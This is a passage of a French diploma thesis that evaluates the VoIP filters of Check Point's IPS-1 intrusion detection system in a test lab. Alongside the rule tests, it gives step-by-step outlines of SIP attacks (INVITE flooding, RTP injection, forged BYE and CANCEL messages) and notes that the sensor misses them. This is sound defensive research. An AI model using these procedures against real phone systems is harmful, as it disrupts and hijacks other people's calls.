TravailDeDiplomemtg 2007

T
rav
ail
dedi
plôme
TDD
Travail de diplôme
Système de Détection d’Intrusion VoIP :

IPS-1 Check Point
7 janvier 2008
Cahier des charges
Déploiement et Test d’un système de détection IDS appliqué à la

VoIP : Etude de cas IPS-1 de Check Point
Proposé par : e-Xpert Solutions SA
Résumé du problème :
Ce projet est né d’une initiative d’e-Xpert Solutions SA et IICT qui désiraient collaborer dans
le domaine de la sécurité VoIP. En effet grâce à l’aboutissement de la première étape du projet
Vadese (www.vadese.org), IICT souhaitait étendre les fonctionnalités des IDS conventionnels au
trafic VoIP et étendre ainsi les services SIEM (Security Information and Event Management) à
la VoIP. Dans le cadre de ce travail de diplôme nous proposons de tester et compléter les filtres
VoIP de l’IDS mis à disposition de CheckPoint (désigné par la suite IPS1). Cette extension
ayant pour objectif de démontrer l’utilité et efficacité d’une sécurisation du service VoIP au
sein d’une PME.
Ce projet de travail de diplôme a pour objectif :
– De déployer et réaliser des solutions de détection d’intrusions IDS pour les réseaux VoIP en
utilisant le produit IPS1 de CheckPoint.
– D’évaluer l’efficacité et le fonctionnement correct des solutions déployées.
Cahier des charges :

Le but final du travail de diplôme sera de livrer une solution IDS adaptée aux PME permettant
de détecter les principales attaques SIP. Le bien-fondé de cette solution doit être démontré à
3
travers un démonstrateur capable de mettre en évidence au moins deux attaques dans plusieurs
domaines de sécurité suivants :
– Dénis de Service (DoS) en exploitant
– Vulnérabilités des protocoles.
– Vulnérabilité de la QoS.
– Vulnérabilités des composants.
– Vulnérabilités des infrastructures réseau.
– Confidentialité.
– Vol de ressources.
– Intégrité.
– Imputabilité (Authentification).
– Attaque de protocole.
Pour cela il s’agira d’abord de :
– Compléter la plateforme de test en ajoutant d’autres composants comme des softphones, etc.
– Décrire et tester les règles de détection VoIP déjà existantes sur IPS1.
– Répertorier les types d’attaques non couvertes par les règles existantes sur IPS1.
– Associer tous les messages SIP appartenant à la même communication de manière à mettre
en évidence une communication SIP.
– Développer de nouvelles règles VoIP en utilisant le langage N-code pour pallier les lacunes
du produit existant.
– Tester ces nouvelles règles.
– Développer un laboratoire IDS/VoIP qui devra aussi servir de laboratoire pour le futur cours
de sécurité VoIP
Le rapport de Tdp devra contenir
– Une description du banc de test et des attaques VoIP détectées.

– Un tutorial permettant d’installer et configurer les fonctions de filtre VoIP de la suite IPS-1.
– Tutorial N-Code et description du code développé.
– Description des scénarios et résultats des tests.
Table des matières
Introduction 5
Contexte et aperçus des activités . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Organisation du document . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1 Introduction à la sécurité de la VOIP 7
2 Fiabilité des filtres VoIP de l’IPS-1 10

2.1 Architecture de l’IPS-1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
2.2 Tests et évaluation des filtres VoIP de l’IPS-1 . . . . . . . . . . . . . . . . . . . 12
2.2.1 Backend sip/compliance . . . . . . . . . . . . . . . . . . . . . . . . . . . 13
2.2.2 Backend sip/uservars . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2.3 Mise en oeuvre de quelques attaques du Best Practice . . . . . . . . . . . . . . . 25
2.4 Analyse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33
3 Architecture des filtres de l’IPS-1 34

3.1 Fichier de configurations des variables (*.values) . . . . . . . . . . . . . . . . . . 36
3.2 Fichier de description (*.desc) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38
3.3 Fichier de configuration des alertes (*.acf) . . . . . . . . . . . . . . . . . . . . . 38
3.4 Fichier d’aide (*.help) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
3.5 Fichier de configuration (*.cfg) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
3.6 Fichier N-Code (*.nfr) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
4 Tutorial du langage N-Code : Ecriture des filtres 48

4.1 Ajout d’un backend dans un package existant . . . . . . . . . . . . . . . . . . . 48
4.1.1 Création du fichier session.values . . . . . . . . . . . . . . . . . . . . . . 48
4.1.2 Création du fichier session.desc . . . . . . . . . . . . . . . . . . . . . . . 50
4.1.3 Création du fichier session.acf . . . . . . . . . . . . . . . . . . . . . . . . 51
4.1.4 Création du fichier session alert.help . . . . . . . . . . . . . . . . . . . . 53
4.1.5 Création du fichier session.cfg . . . . . . . . . . . . . . . . . . . . . . . . 54
4.1.6 Création du fichier session.nfr . . . . . . . . . . . . . . . . . . . . . . . . 55
4.2 Création d’un package et de ses backends . . . . . . . . . . . . . . . . . . . . . . 58
5 Résultat des tests des filtres développés 59
6 Conclusion 63
Introduction
Contexte et aperçu des activités

Le projet dont il est question dans ce document s’inscrit dans le cadre du travail de diplôme
sanctionnant la fin des études d’ingénieurs HES à la HEIG-vd. Il fait suite à une première étude
dans le domaine de la sécurité VoIP qui a été réalisée comme travail de semestre.
Depuis quelques années, nous vivons dans l’époque numérique, où tout passe par internet.
Ainsi la télécommunication ne fait pas exception à cette régle. Une nouvelle technologie, appelé
VoIP, fait son apparition. Elle permet de transporter de la voix à travers un réseau utilisant le
protocole IP.
Cependant, l’intégration de la téléphonie dans le monde Internet, l’expose à divers problèmes
particulièrement au niveau de la sécurité. Des outils appelés système de détection d’intrusions
(IDS) sont utilisés pour contrer ce problème.
Un IDS est un appareil ou un logiciel capable de détecter des anomalies dans le trafic du réseau.
Malheureusement nombre d’entre eux ne sont pas suffisamment fiables car génèrent un grand
nombre de fausses alertes.
Au cours de ce projet il sera d’une part question d’étudier un IDS particulier, celui développé
par la société Check Point appelé IPS-1 et d’autre part de développer des filtres afin d’améliorer
la fiabilité et la performance de l’IPS-1.
Organisation du document
Chapitre 1, Introduction à la sécurité VoIP
La sécurité est un des problèmes majeurs de la VoIP. Dans ce chapitre sont décrites les menaces
pesant sur les applications de téléphonie par IP et des solutions de sécurité sont proposées face
aux différentes menaces.
Chapitre 2, Fiabilité des filtres VoIP de l’IPS-1
Beaucoup d’IDS rencontrés dans le marché ne sont pas très fiable car lèvent beaucoup de
fausses alertes. Ainsi dans ce chapitre, quelques tests pratiques ont été effectués avec l’IPS-1
afin d’évaluer les possibilités de détection relatives à la VoIP.
Table des matières 6
Chapitre 3, Architecture des filtres de l’IPS-1

L’IPS-1 possède une particularité par rapport aux autres IDS que nous rencontrons dans le
marché. Les règles de filtrage sont développées dans un langage particulier appelé N-Code. De
plus, la mise en place d’un filtre nécessite une structure bien précise qui sera présentée au cours
de ce chapitre.
Chapitre 4, Tutorial du langage N-Code : Ecriture des filtres
Ce chapitre sera essentiellement consacré à l’écriture de quelques filtres liées à la VoIP.
Chapitre 5, Résultat des tests des filtres développés
La fonctionnalité des filtres développés dans le chapitre précédent est testée dans ce chapitre.
Chapitre 6, Conclusion
Une synthèse générale sera effectuée mettant en évidence la performance de l’IPS-1.
Annexes
Enfin la dernière partie regroupera les annexes dont une description des outils utilisés, les scripts
et programmes développés durant ce projet et un journal de travail qui a accompagné l’auteur
durant tout le projet.
1
Introduction à la sécurité de la VOIP
La VoIP (Voice over Internet Protocol) est une technologie en pleine émergence qui permet
de transmettre du trafic vocal sur réseau IP. Le signal numérique, obtenu par numérisation de
la voix, est découpé en paquets qui sont transmis sur un réseau IP vers une application qui
se chargera de la transformation inverse. Auparavant les entreprises disposaient d’un réseau
informatique et d’un réseau téléphonique commuté (RTC). Actuellement grâce à la VoIP, il est
possible de tout fusionner sur un même réseau.
La VoIP offre de nouvelles possibilités aux utilisateurs et opérateurs qui bénéficient d’un réseau
basé sur IP. Le plus grand avantage de cette technologie, c’est son caractère économique. Elle
permet à la fois les transports de la voix, de données, vidéo, simplifiant ainsi la gestion du
réseau. De plus les entreprises utilisant les services VoIP voient réduire de manière considérable
leurs coûts de communications locales et internationales. Vu son fonctionnement par internet,
elle offre également une grande liberté de mobilité, les utilisateurs ne sont pas soumis aux
contraintes géographiques.
Cependant, l’intégration de la téléphonie dans l’environnement informatique l’expose à l’en-
semble des problèmes auxquels les systèmes informatiques sont déjà confrontés particulièrement
au niveau de la sécurité.
Les protocoles VoIP

Les plates-formes, utilisés dans la VoIP, sont plus facilement accessibles par les “hacker” que
celles des réseaux téléphoniques classiques. De ce fait, elles deviennent la cible d’attaques (usur-
pation des identités, écoute des conversation, injection du trafic IP...). A ces faiblesses s’ajoute
la vulnérabilité des protocoles utilisés par la voix sur IP (H.323, sip). Chaque poste télépho-
nique devient d’une certaine manière un serveur accessible depuis l’extérieur, et donc une porte
d’accès à l’ensemble du réseau.
Nous allons nous intéresser tout particulièrement à la sécurité de la VoIP reposant sur le pro-
tocole SIP (Session Initiation Protocol), protocole qui est étudié au cours de ce projet. En
raison de sa simplicité, de sa légèreté d’utilisation car basé sur une approche similaire au pro-
tocole HTTP, sip remplace progressive le protocole H323 dans la VoIP. SIP est un protocole
de la couche d’application permettant d’ouvrir, de gérer et de terminer une session de transfert
multimédia (vidéo, voix, messagerie instantanée). En d’autres termes, c’est le système d’éta-
blissement de liaison utilisé pour envoyer et recevoir entre autre de la voix sur Internet (pour
1. Introduction à la sécurité de la VOIP 8
plus d’information sur l’architecture SIP voir le rapport du travail de semestre chapitre 3 donné
en annexe) .
Les attaques VoIP

Plusieurs études ont été menées afin d’assurer le service VoIP contre d’éventuelles menaces
notamment le projet de recherche Vadese (www.vadese.org). Ce projet est un projet de recherche
fédérateur des trois écoles d’ingénieurs de Fribourg, Genève et Yverdon-les-Bains qui a pour
objectif d’étudier les aspects de la sécurité VoIP avec SIP et de proposer des solutions qui aident
les entreprises. Durant ce projet un document appelé Bests Practices (BP) a été développé
dans le but d’aider les responsables IT et administrateurs réseau dans la mise en oeuvre d’une
infrastructure VoIP avec SIP. Il décrit les menaces les plus connues dans les infrastructures
VoIP. Tirées du Best Practices, ces menaces peuvent être résumées comme suit :
– Denis de service (DoS) : Attaques entraı̂nant l’indisponibilité d’un service/système pour
les utilisateurs légitimes.
– Ecoute clandestine : Attaques permettant d’écouter le trafic de signalisation et/ou de
données. Le trafic écouté n’est pas modifié.
– Détournement du trafic : Attaques permettant de détourner le trafic au profit de l’atta-
quant. Le détournement peut consister à rediriger un appel vers une personne illégitime ou
à inclure une personne illégitime dans la conversation.
– Identité : Attaques basées sur la manipulation d’identité (usurpation, . . .).
– Vols de services : Attaques permettant d’utiliser un service sans avoir à rémunérer son
fournisseur.
– Communications indésirées : Il y a plusieurs instances dans laquelle une communication
peut prendre des aspects d’attaque. Le SPAM (ou SPIT, pour garder la terminologie VoIP)
entre par exemple dans cette catégorie.
Quelques solutions faces aux attaques VoIP

Pour lutter contre ces attaques, le document Bests Practices propose plusieurs méthodes de
sécurisations :
– La sécurité de base contient des BP (en partie sous forme de liens vers des documents de
référence) pas forcément spécifiques à la VoIP qui permettent de partir sur une infrastructure
“saine”.
– La séparation des équipements DATA et VoIP permet à elle seule de parer une grande
partie des attaques, notamment les attaques concernant l’écoute clandestine.
– L’authentification permet de s’assurer de l’identité des interlocuteurs.
– Le chiffrement doit garantir la confidentialité et l’intégrité des données échangées La sécu-
rité périmétrique permet de protéger le réseau VoIP de l’entreprise face aux risques externes.
– La sécurité périmétrique permet de protéger le réseau VoIP de l’entreprise face aux risques
externes
En effet parmi ces méthodes, l’authentification demeure un point crucial pour la sécurité. L’au-
thentification est la validation de l’identité du partenaire de communication. Ce service doit
assurer que la connexion entre deux téléphones VoIP ne soit pas perturbée par une tièrce
1. Introduction à la sécurité de la VOIP 9
personne qui pourrait se faire passer pour une des deux entités légitimes à des fins de trans-
mission, de réception et de détournement d’information non autorisés. Il existe plusieurs types
d’authentification :
– HTTP Digest Authentication permet au serveur d’authentifier les messages SIP REGISTER
et/ou INVITE envoyés par un IP Phone.
– L’authentification mutuelle permet au serveur d’authentifier le client et au client d’authenti-
fier le serveur.
Pour préserver la confidentialité et l’intégrité de l’échange de messages, le protocole sip possède
trois mécanismes de cryptages :
– Cryptage de bout en bout du Corps du message Sip et de certains champs d’en-tête sensibles
aux attaques.
– Cryptage au saut par saut (hop by hop) afin d’empêcher des pirates de savoir qui appelle qui.
– Cryptage au saut par saut du champ d’en-tête Via pour dissimuler la route qu’a emprunté
la requête.
Pour plus d’information, veuillez vous référez au document Bests Practices.
D’autres outils ont été développés dans le but de résoudre la problématique de la sécurité des
services voix et multimédia. Dans un premier temps un outils appelé système de détection
d’intrusion (IDS) a été créé dans le but de détecter les attaques SIP contre le proxy et les
vulnérabilités du protocole. Cet outil permet de contrôler la validité des messages SIP circulant
sur le réseau. L’IDS pourra alors détecter et émettre une alerte en cas d’attaque. Quelques
années plutard les systèmes de prévention des intrusions (IPS) ont été développés en suivant
une nouvelle philosophie : “prendre les mesures nécessaires pour contrer ces attaques ou ces
intrusions détectables”. Contrairement à l’IDS qui génère une alarme en cas d’anomalie dans le
trafic réseau, l’IPS bloque lui-même le flux qu’il juge malicieux.
L’évolution rapide des technologies, la convergence numérique vont introduire de nouveaux
services et par conséquent, de nouvelles vulnérabilités et de nouveaux vecteurs d’attaques.
Ainsi la sécurité sera toujours un sujet d’actualité permettant de garantir au mieux la sécurité
des équipements.
2
Fiabilité des filtres VoIP de l’IPS-1
2.1 Architecture de l’IPS-1

L’IPS-1 Check Point se décompose en quatre composants qui sont : l’IPS-1 Sensor, l’IPS-1
Alert concentrator, l’IPS-1 Server et l’IPS-1 Management Dashboard.
Fig. 2.1: Architecture de l’IPS-1

2. Fiabilité des filtres VoIP de l’IPS-1 11
IPS-1 Sensor
La sonde est chargée de surveiller le trafic sur le réseau afin d’analyser les flux de données
et d’émettre des alertes à destination du concentrateur (IPS-1 Alert concentrator ) en cas de
détection de paquets non-conformes.
Il existe des packages regroupant un ensemble de règles spécifiques à chaque type de protocole.
Ces règles sont écrites dans un langage N-code de telle sorte que si ces dernières sont violées, le
flux de données est jugé non conforme ainsi la sonde enregistre l’évènement comme une attaque.
IPS-1 Alert concentrator et IPS-1 Server

L’IPS-1 Alert concentrator et l’IPS-1 Server sont regroupés en un bloc qui permet de stocker
les alertes envoyées par la sonde. Cela permet également de répartir la charge du réseau et donc
de déployer si nécessaire un nombre de sondes plus important.
IPS-1 Management Dashboard

L’IPS Management Dashboard permet la visualisation et le traitement des informations fournies
par le système de détection d’intrusions. Les alertes sont affichées en temps réel et peuvent être
classées en fonction de leur gravité.
Fig. 2.2: Fenêtre montrant les alertes détectées par la sonde

Cet affichage permet également de naviguer entre les différentes alertes. De plus il est possible de
visualiser les caractéristiques de chaque alerte (le nom de l’alerte, le package et les backends qui
ont permet de générer l’alerte, les adresses source et destination, les ports source et destination).
En ayant le droit administrateur, il possible de visualiser toutes les règles de filtrages que
possèdent l’IPS-1 et également activer ou désactiver ces règles selon les besoins. Pour accéder
aux Packages et backends renfermant les règles de filtrages, il suffit de cliquer sur l’onglet
Management et de choisir Policies. Une fenêtre IPS-1 Policy Manager s’affiche puis choisir
Package/Backend Configuration pour obtenir la liste des règles de filtrage comme indiqué
ci-dessous.
Fig. 2.3: Les packages et backends contenant les règles de filtrage
2.2 Tests et évaluation des filtres VoIP de l’IPS-1

Lors du travail de semestre une série de tests (à l’aide des téléphones cisco) ont été mis en place
pour évaluer les filtres développés sur l’IPS-1 de CheckPoint. Après l’analyse de ces résultats,
nous élargissons le réseau de test en ajoutant des softphones en plus des téléphones Cisco
dans le but de mieux évaluer les performances de la sonde. Deux utilisateurs ont été créés
(sip :carol@192.168.0.4 et sip :john@192.168.0.9).
Fig. 2.4: Réseau de Test
Dans la présente section seront décrits les tests effectués avec les softphones et téléphones Cisco
puis une série d’attaques spécifiées dans le Best Practice seront appliquées au réseau et pour
finir le comportement de la sonde sera analysé.
2.2.1 Backend sip/compliance

ALERT ON LOWERCASE METHODS
Description de la règle
La règle ALERT ON LOWERCASE METHODS du package sip/compliance consiste à vérifier

l’écriture des méthodes SIP qui doivent impérativement être écrites en majuscule. Cette règle
permet d’être conforme aux RFC 4780 et 2543. Ainsi lorsqu’un paquet, circulant sur le réseau,
contient une méthode écrite en miniscule une alerte lowercase_method_alert est émise.
Mise en oeuvre
Pour tester cette règle l’utilisateur carol initie une communication avec l’utilisateur bob en
envoyant le message sip ci-dessous à l’aide du générateur de message SIPNess :
Fig. 2.5: Envoi d’une requête invite par SIPNess
Fig. 2.6: Demande d’établissement d’une connexion SIP
Avec l’outil d’analyseur de trafic Ethereal, il est possible d’observer le paquet à l’origine de
cette attaque. Ce paquet est obtenu en double cliquant sur l’alerte émise visible, sur l’IPS-
1 Management Dashboard. Sur la figure 2.7, la requête SIP destinée à bob contient bien la
méthode INVITE en miniscule.
Fig. 2.7: Envoi d’une requête “invite” à l’origine de l’attaque
Conclusion
Dès l’envoie de ce message une alerte lowercase_method_alert est émise ce qui prouve bien
le fonctionnement du filtre :
Fig. 2.8: Détection de l’alerte lowercase method alert
MAX UDP PACKET SIZE
Pour être conforme à la RFC 3261 comme spécifié sur l’inteface graphique décrivant la règle
MAX UDP PACKET SIZE permet de vérifier la taille du packet UDP. La description de cette
règle précise qu’un paquet UDP circulant sur ce réseau doit avoir au plus une longueur de
1300 bytes dans le cas contraire une alerte est levée. Nous notons que cette taille maximale est
éditable.
Mise en Oeuvre
Pour mettre en pratique cette règle nous modifions cette taille maximale à 8 bytes. Ainsi tout
paquet circulant sur le réseau avec une taille supérieure à 8 bytes sera à l’origine de l’alerte
sip_compliance :udp_size_alert. carol invite l’utilisateur bob à établir une session.
Fig. 2.9: Etablissement d’une connexion SIP
Conclusion
L’envoi d’un paquet pour établir cette communication provoque automatiquement une alerte
sip_compliance :udp_size_alert car la règle MAX UDP PACKET SIZE n’a pas été res-
pectée.
Fig. 2.10: Détection de l’alerte sip compliance :udp size alert

Le paquet à l’origine de l’alerte est visible grâce à l’analyseur de trafic Ethereal.
Fig. 2.11: Capture Ethereal indiquant la taille du paquet
METHODS
Check Point se réfère à la liste des méthodes sip définies aux RFC 3261, 3262, 3265 pour définir
la règle METHODS. Les méthodes sip utilisées par le protocole SIP pour invoquer les diverses
actions de signilisation sont :
– INVITE : cette méthode invite l’usager à établir une session
– ACK : permet d’accuser la réception d’un message INVITE
– BYE : clôt une session entre deux usagers
– CANCEL : clôt une requête
– REGISTER : permet à un utilisateur de s’enregister auprés d’un serveur d’enregistrement
– OPTIONS : livre des informations concernant les paramètres de communication
– PRACK : sert à envoyer un accusé de réception provisoire (Provisional Response ACKnow-
ledgement, RFC 3262)
– SUBSCRIBE : méthode permettant d’abonner un usager à une liste d’evènements (RFC
3265)
– NOTIFY : permet d’informer un usager de la présence d’un évènement auquel il est abonné
(RFC 3265)
Tout paquet SIP circulant sur le réseau et ne contenant pas ces méthodes seront à l’origine de
l’alerte sip_compliance :unknown_methods_alert.
Mise en oeuvre
Pour tester cette règle nous redéfinissons cette liste de méthodes en supprimant certaines mé-
thodes comme INVITE, ACK, CANCEL, BYE et nous établissons puis terminons une session
SIP.
Conclusion
Requête contenant la méthode INVITE

La méthode INVITE peut être utilisée en début et en cours de session. Lorsqu’elle est utilisée
en début de la session comme dans notre cas, elle permet d’initier le processus d’établissement
d’une connexion audio.
La capture ci-dessous, à travers le sniffer, montre le paquet à l’origine de la requête d’invitation
de communication entre carol et bob.
Fig. 2.12: Envoi d’une requête INVITE pour tester la règle METHODS
Dés l’envoi de cette requête INVITE, une alerte sip_compliance :unknown_methods_alert

est visible sur l’IPS-1 Management Dashboard :
Fig. 2.13: Détection de l’alerte sip compliance :unknown method alert
Requête contenant la méthode ACK

La méthode ACKnowledge permet à l’usager qui a initié une communication d’envoyer la confir-
mation finale d’établissement de communication. Puisque la méthode ACK a été supprimée de
la liste des méthodes acceptées par la sonde, la réception de cette requête provoque l’alerte
sip_compliance :unknown_method_alert.
En utilisant l’analyseur de trafic Ethereal nous pouvons récupérer sur le réseau le paquet à
l’origine de cette alerte.
Fig. 2.15: Envoi d’une requête ACK pour tester la règle METHODS
Requête contenant la méthode CANCEL

La méthode CANCEL sert à annuler la demande en cours envoyée par un client.
Fig. 2.16: Demande d’annulation de communication en cours

Elle demande à l’UAS de cesser de traiter la demande et de générer une réponse d’erreur à cette
demande. A la réception d’une telle requête la sonde IPS-1 lève une alerte sip_compliance :unk-
nown_method_alert ce qui vérifie encore une fois la règle METHODS.
La capture ci-dessous confirme bien les propos ci-dessus car en envoyant une requête CANCEL
à 18h28 nous observons à la même heure l’alerte sip_compliance :unknown_method_alert.
Fig. 2.18: Envoi d’une requête CANCEL pour tester la règle METHODS
Requête contenant la méthode BYE

La requête BYE est expédiée de manière similaire à INVITE. Elle peut être envoyée par l’appe-
lant ou par l’appelé qui indique au serveur qu’il veut terminer la session. Un membre de session
devrait normalement envoyer cette requête avant de quitter la session. Le membre recevant le
BYE doit immédiatement cesser d’émettre le flux vers celui qui s’est annoncé partant.
Fig. 2.19: Envoi d’une requête BYE pour tester la règle METHODS
Pour tester la règle METHODS bob décide d’envoyer une requête BYE à l’utilisateur carol.
Fig. 2.20: Envoi d’une requête BYE pour tester la règle METHODS
Puisque cette méthode BYE n’est plus dans la liste des méthodes SIP que IPS-1 autorise,
alors une alerte du type sip_compliance :unknown_method_alert est détectée à l’envoi d’une
requête BYE.

2.2.2 Backend sip/uservars

Ce backend du package sip comporte des règles parmi lesquelles nous avons :
– BAD METHODS, qui consiste à déclencher une alerte lorsque les requêtes contiennent des
méthodes sip définies comme “mauvaises méthodes”. Ces méthodes peuvent être définies dans
la liste des variables de configuration Variable Value.
– BAD REQUEST URI, qui déclenche une alerte lorsque les requêtes contiennent des URI
présentés comme “mauvais URI” définis dans dans la liste des variables de configuration
Variable Value.
La liste des variables de configuration peuvent s’élargir ou se retrécir en fonction des gré de
l’administrateur.
BAD METHODS
Cette règle consiste à la vérification des méthodes sip contenues dans les requêtes. Si cette
dernière contient des méthodes jugées comme mauvaises c’est à dire défini dans Variable Value
alors une alerte de type sip_uservars :bab_method_alert sera déclenchée par la sonde.
Mise en oeuvre
Pour tester cette règle nous ajoutons dans la Variable Value la méthode INVITE. Ainsi tout pa-
quet sur le réseau contenant INVITE sera à l’origine de l’alerte sip_uservars :bab_method_alert.
Pour mettre en pratique cette règle une requête INVITE est envoyée de carol vers bob comme
indiquée sur la capture Ethereal ci-dessous :
Fig. 2.22: Envoi d’une requête INVITE pour tester la règle BAD METHODS
Conclusion
Dés l’envoie de ce paquet la sonde détecte l’attaque et envoi l’alerte sip_uservars :bab_method_alert
sur le Management Dashboard.
Fig. 2.23: Détection alerte sip uservars :bab method alert
Le paramètre ”expires” d’une valeur de champ d’en-tête Contact indique la durée de validité
de l’URI (ici : 3600 sec). Ainsi, les usagers doivent s’annoncer une fois par heure auprès du
serveur d’enregistrement en envoyant une requête contenant la méthode REGISTER. En ajou-
tant la méthode REGISTER dans la liste des variables de configuration nous constatons que
toutes les heures une alerte sip_uservars :bab_method_alert est visible sur le Management
Dashboard.
BAD REQUEST URI
L’URI permet d’identifier un utilisateur de sip. Il a une forme similaire à celle d’une adresse
de messagerie électronique, contenant normalement un nom d’utilisateur et un nom d’hôte par
exemple sip :carol@192.168.0.219.
Mise en oeuvre
Pour tester la régle BAD REQUEST URI nous augmentons dans la variable de configuration
l’URI de l’utilisateur bob puis carol tente de demander un établissement de connexion SIP à
bob.
Conclusion
Ainsi toutes requêtes contenant l’URI de bob génère une alerte de type sip_uservars :bad_uri_alert.
Fig. 2.24: Packet BYE

Le paquet à l’origine de l’alerte de la figure 2.24 est mise en évidence à travers la capture
Ethereal ci-dessus.
Fig. 2.25: Détection de l’alerte sip uservars :bad uri alert
Mise en oeuvre
Les différents tests effectués avec des téléphones Cisco et softphone montrent que les filtres
disponibles sur la sonde IPS-1 fonctionnent parfaitement. Pour évaluer d’avantage la perfor-
mance de l’IPS-1 nous testerons simultannément plusieurs régles définies sur l’IPS-1. Les régles
MAX UDP PACKET SIZE, BAD METHODS, BAD REQUEST URI sont testées dans une
seule requête. Pour cela nous éditons les variables de configuration de celles-ci, la taille maxi-
male d’un paquet est fixée à 8 bytes, la méthode INVITE est considérée comme une mauvaise
méthode et URI de bob est désigné comme étant une mauvaise uri.
Fig. 2.26: Envoie d’une requête INVITE testant simultanément plusieurs règles
Conclusion
Lorsque l’utilisateur bob initie une communication (figure 2.26) trois alertes mise en évidence
sur le graphe-ci dessous sont émises par la sonde.
Fig. 2.27: Envoie d’une requête BYE
2.3 Mise en oeuvre de quelques attaques du Best Practice

Cette section consiste à tester le comportement de la sonde face à quelques attaques définies
dans le Best practice. Parmi les attaques spécifiées dans ce document, nous en choisissons une
série pour compléter notre banc de tests sur la sonde IPS-1 de Checkpoint. Dans cette section
sera décrite les attaques sip provoquées sur la sonde ainsi que son comportement.
– Innondation du serveur proxy (Best Practice A.09)
– Injection de paquet RTP (Best Practice A.05)
– Bye (Best Practice A.02)
– Cancel (Best Practice A.01)
Innondation du serveur proxy

Description de l’attaque
L’objectif de cette attaque est d’empêcher l’accés au proxy en provoquant une surcharge sur
celui-ci en l’envoyant plusieurs paquets d’établissement de connexion. Lorsqu’un proxy sip est
manipulé en acceptant un flot de requêtes INVITE, une rupture partielle ou totale de service
peut se produire.
Mise en oeuvre
Le site www.hackingvoip.com/sec tools.html, spécialisé dans le domaine des attaques sip, offre
un ensemble de mécanismes (scénario) ”INVITE Flooder” pour surcharger le proxy. Un message
d’initialisation d’une connexion sip entre bob et carol est récupéré afin d’en extraire les infor-
mations sur la communication. Les informations utiles pour effectuer l’attaque sont recueillies à
savoir les adresses ip de bob et carol ainsi que les ports sources et destinations. Ces données et
le nombre de requêtes INVITE à envoyer sont fournis lors de l’exécution d’un script bash voir
annexe ??. Lors de ce processus plusieurs requêtes INVITE sont façonnées automatiquement
et envoyées au proxy où carol demande une communication avec bob.
Fig. 2.28: Envoi d’un flot de requêtes INVITE au proxy
Le schéma ci-dessous montre la réussite de l’attaque par l’envoi d’un flot de requêtes INVITE
au proxy.
Fig. 2.29: Envoi d’un flot de requêtes INVITE au proxy

Conclusion
A l’issu de cette attaque aucune alerte n’a été émise par la sonde donc les filtres définies sur
l’IPS-1 ne permettent pas de détecter ce type d’attaque.
Injection de paquets RTP

Description de l’attaque
Le protocole RTP (Real-Time Transport Protocol) permet d’assurer un service de remise de

bout en bout pour les données ayant des caractéristiques de temps réel, telles que les données
audio. L’injection de paquets RTP ne garanti plus le synchronisme de bout en bout ce qui
entraine une perturbation de la communication en cours.
Fig. 2.30: En-tête RTP
Mise en oeuvre
Sur la page web que précédemment le scénario “rtpflooder” qui consiste d’injecter des paquets
RTP lors d’une communication. Pour effectuer l’attaque, nous suivrons les étapes suivantes :
1. bob initie une communication avec alice.

2. Lancement d’un sniffer comme Ethereal pour écouter le réseau puis récupération un paquet
RTP.
3. Extraction les données utiles de l’en-tête RTP : adresses source et destination, ports source
et destination, numéro de séquence (seq), Timestamp, Synchronization source identifier
(SSRC)
4. Exécution d’un script bash donné en annexe permettant de créer de nouveaux paquets
RTP et l’insérer dans la conversation.
Conclusion
Comme mis en évidence sur le schéma ci-dessous l’attaque a bien été provoquée.
Fig. 2.31: Injection de paquets RTP lors d’une communication
Cependant en se référant au Management dashboard nous constatons que l’IPS-1 n’émet aucune
alerte lors d’injection de paquets RTP.
BYE
Une requête Bye envoyée contre un utilisateur provoque un deni de service (DoS). Cette attaque
peut être provoquée à n’importe quel moment de la communication. Ce qui provoque une
coupure de la communication entre les deux terminaux.
Fig. 2.32: Envoie d’un paquet bye (1a)
Mise en oeuvre
Pour la mettre en place l’attaquant doit effectuer les procédures suivantes :
1. Lancer un sniffer pour écouter le réseau afin de récupérer les informations sur la commu-
nication en cours. Celles-ci serviront à façonner un faux message BYE et qui sera envoyé
soit à l’appelant ou à l’appelé.
2. Effectuer un appel entre les deux terminaux.
3. Recupérer un paquet SIP ayant comme adresse source l’adresse du proxy et comme adresse
destination l’adresse de celui qu’on aimerait attaquer. En somme récupérer un paquet
”ACK” envoyé par le proxy SIP.
Après avoir recueillies les informations d’une session nous exécutons un script donnée en annexe
pour façonner un faux message BYE. Ceci en utilisant le logiciel BYE Teardown disponible sur
le site www.hackingvoip.com/sec tools.html.
Fig. 2.33: Envoie d’un paquet bye (1a)
Dans notre test nous initions un appel sur deux téléphones Cisco : Alice (192.168.0.11) joue le
rôle de l’appelant quant à Bob (192.168.0.10) , il joue le rôle de l’appelé et de la victime. Aprés
récupération des informations d’une session nous exécutons le script pour injecter ce paquet
modifié et l’envoyer à Bob pour lui faire croire que la session est terminée afin qu’il raccroche.
Fig. 2.34: Envoie de paquet Bye (1b)
Comme nous remarquons sur le diagramme Ethereal ci-dessous après injection d’un faux mes-
sage BYE, Bob termine la communication.
Fig. 2.35: Attaque Bye réussie

Diagramme en flèche explicatif :
Conclusion
Aprés la mise en place de cette attaque aucune alerte n’a été émise par la sonde. En effet il
n’existe pas de backend par rapport à ce type d’attaque.
Fig. 2.36: Alertes détectées par la sonde

Cancel
Le but est ici de faire croire à un UAC (User Agent Client) appelé que son partenaire désire
annuler son appel. L’annulation d’un appel auquel le partenaire n’a pas encore répondu se
traduit par l’envoi d’une réponse CANCEL en SIP. Il faut donc que l’on se fasse passer pour
l’appelant en injectant un message CANCEL destiné à l’appelé tout en respectant les champs
de l’entête SIP. Il est également possible de faire l’inverse. C’est-à-dire que l’on peut faire croire
à l’appelant que l’appelé ne désire pas répondre. Cette attaque a été mise en place entre nos
deux utilisateurs Alice et Bob.
Comme pour le test précédent l’IPS-1 Check Point n’a levé aucune alerte face à l’attaque de
type CANCEL.
Ce qui confirme bien qu’en dehors des filtres développés par Check Point, la sonde n’émet pas
d’autres types d’alertes.
2.4 Analyse
A l’issu des tests effectués avec des softphones et téléphones Cisco, l’IPS-1 Sensor détecte
parfaitement toutes les attaques ne respectant pas les règles définies dans les backends du
